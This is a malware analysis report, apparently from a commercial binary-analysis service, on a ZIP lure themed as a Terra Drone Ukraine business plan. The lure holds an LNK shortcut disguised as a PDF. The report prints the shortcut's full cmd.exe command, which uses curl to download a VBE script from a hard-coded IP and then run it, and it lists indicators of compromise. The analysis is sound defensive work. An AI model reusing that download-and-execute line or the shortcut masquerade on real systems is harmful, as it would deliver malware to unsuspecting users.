Delphos Lantern scores #1 on BinaryAudit backdoor detection: by mean, peak, floor, and reproducibilityLearn more
Loader

Terra Drone Ukraine lure analysis: LNK shortcut downloads and runs VBE payload

Defense evasionExecution

Oct 8, 2026

Verdict:Malicious
Confidence:High

Conclusion

The submitted artifact set is a social-engineering delivery mechanism for a second-stage script. The ZIP contains a single .lnk file named Terra_Drone_Ukraine_Alliance_Business_Plan.lnk that is configured to invoke %windir%\SysWow64\cmd.exe with arguments that download put.vbe from http://103.180.163.204/login.php?id=117 into C:\Users\Public\Documents\put.vbe and then execute that script. This is direct evidence of downloader behavior, not just a suspicious string lead.
Immediate safety implication: opening the shortcut on Windows would attempt outbound network access to a hard-coded IP and run a downloaded VBE script.

Scope and Coverage

Uploaded root

  • /workspace/f15c88a563f8c7de2e08a1788e0387ba59b4e66fdae38c7184c7837704910bc4.zip
    • Identified as an AES-encrypted ZIP archive.

Extracted child examined

  • extracted/f15c88a563f8c7de2e08a1788e0387ba59b4e66fdae38c7184c7837704910bc4-25576a/f15c88a563f8c7de2e08a1788e0387ba59b4e66fdae38c7184c7837704910bc4.zip_extracted/Terra_Drone_Ukraine_Alliance_Business_Plan.lnk

Coverage performed

  • Enumerated extracted contents.
  • Identified the child file type.
  • Extracted and searched embedded strings from the shortcut.
  • Searched the shortcut for %PDF magic bytes to test whether a decoy PDF was plainly embedded.

Limits

  • I did not execute the shortcut or retrieve the remote payload.
  • I did not reverse a second stage because only the first-stage shortcut was present locally.
  • The absence of %PDF magic only means I did not confirm a plainly embedded PDF payload by that check.

Artifact Relationships and Behavioral Sequence

  1. The uploaded ZIP is the container.
  1. Its extracted content is a single Windows shortcut: Terra_Drone_Ukraine_Alliance_Business_Plan.lnk.
  1. The shortcut targets %windir%\SysWow64\cmd.exe and carries command-line arguments.
  1. Those arguments instruct cmd.exe to:
      • set console mode (mode 15,1),
      • download a remote file via cUrL
      • write it as c:\users\public\documents\put.vbe
      • execute the written .vbe file.
This makes the .lnk the active malicious component and the ZIP the delivery container.

Key Findings

1. The shortcut is a downloader launcher

file_type identified the child as:
MS Windows shortcut, Has Description string, Has command line arguments, ... HasEnvironment "%windir%\SysWow64\cmd.exe", PreferEnvironmentPath, ... window=showminnoactive
This matters because it establishes the shortcut is configured to invoke cmd.exe, not merely open a document.

2. The LNK contains direct command text for remote download and execution

String extraction from the .lnk recovered the command:
"/c mode 15,1 & cUrL http://103.180.163.204/login.php?id=117 -o c:\users\public\documents\put.vbe & c:\users\public\documents\put.vbe
This is the strongest evidence in the case. It shows explicit shell behavior:
  • /c tells cmd.exe to run the command and exit.
  • cUrL http://103.180.163.204/login.php?id=117 -o c:\users\public\documents\put.vbe downloads a payload from a hard-coded IP over HTTP.
  • c:\users\public\documents\put.vbe then executes the downloaded script.
That is a complete malicious execution chain embedded in the shortcut itself.

3. The lure is disguised as a business-plan/PDF document

Recovered strings include:
  • CType: PDF Document
  • .pdf
  • the filename Terra_Drone_Ukraine_Alliance_Business_Plan.lnk
This suggests masquerading as a benign business document. The discrepancy between the apparent document theme and the actual cmd.exe/VBE execution path is materially significant and supports deceptive delivery.

4. The payload path and type are consistent with script-based malware staging

The command saves the remote content to:
c:\users\public\documents\put.vbe
Using a publicly writable user-accessible directory plus a .vbe script extension is consistent with lightweight staged malware delivery. Even without the second-stage file, the first-stage behavior is already malicious because it fetches and runs remote code.

Indicators

Network

  • http://103.180.163.204/login.php?id=117

File paths

  • %windir%\SysWow64\cmd.exe
  • c:\users\public\documents\put.vbe

User-facing lure

  • Terra_Drone_Ukraine_Alliance_Business_Plan.lnk
  • CType: PDF Document

Alternative Explanations and Contrary Evidence

The strongest alternative explanation is that this could be an administrative or installer shortcut that downloads a legitimate script. The evidence weighs strongly against that interpretation:
  • The file is themed as a business-plan/PDF document rather than an installer or updater.
  • It uses a .lnk to invoke cmd.exe instead of transparently presenting its function.
  • It downloads executable script content from a raw IP over plaintext HTTP.
  • It immediately executes the downloaded .vbe script.
Those traits are inconsistent with ordinary document delivery and strongly consistent with malicious social engineering.
Contrary evidence was limited. I checked for a plainly embedded PDF by searching for %PDF magic bytes in the shortcut and did not find it, but that does not reduce the maliciousness of the downloader behavior itself.

Unknowns

  • The exact contents and capabilities of the remote put.vbe second stage are unknown because that payload was not present locally and was not fetched during analysis.
  • I did not dynamically execute the shortcut, so I did not observe whether the server was live or what it would return in this environment.
These unknowns affect second-stage attribution, but they do not materially affect the verdict on the submitted artifact set because the first-stage shortcut already contains direct remote-download-and-execute behavior.

Verdict Rationale

The verdict is malicious because the only behavior-bearing child in the archive is a Windows shortcut that directly runs cmd.exe with instructions to download and execute a remote VBE script from a hard-coded IP. That is direct evidence of unauthorized code staging behavior. The document-themed naming and PDF-related strings support a deceptive lure explanation rather than a benign administrative one. Coverage limits affect only the unseen second stage, not the classification of the submitted first stage.

About Delphos Labs Analysis

The Delphos platform analyzes compiled binaries directly and produces structured behavioral intelligence reports within minutes. This lets analysts understand what a binary does without manual analysis.

Request Access
Back to all reports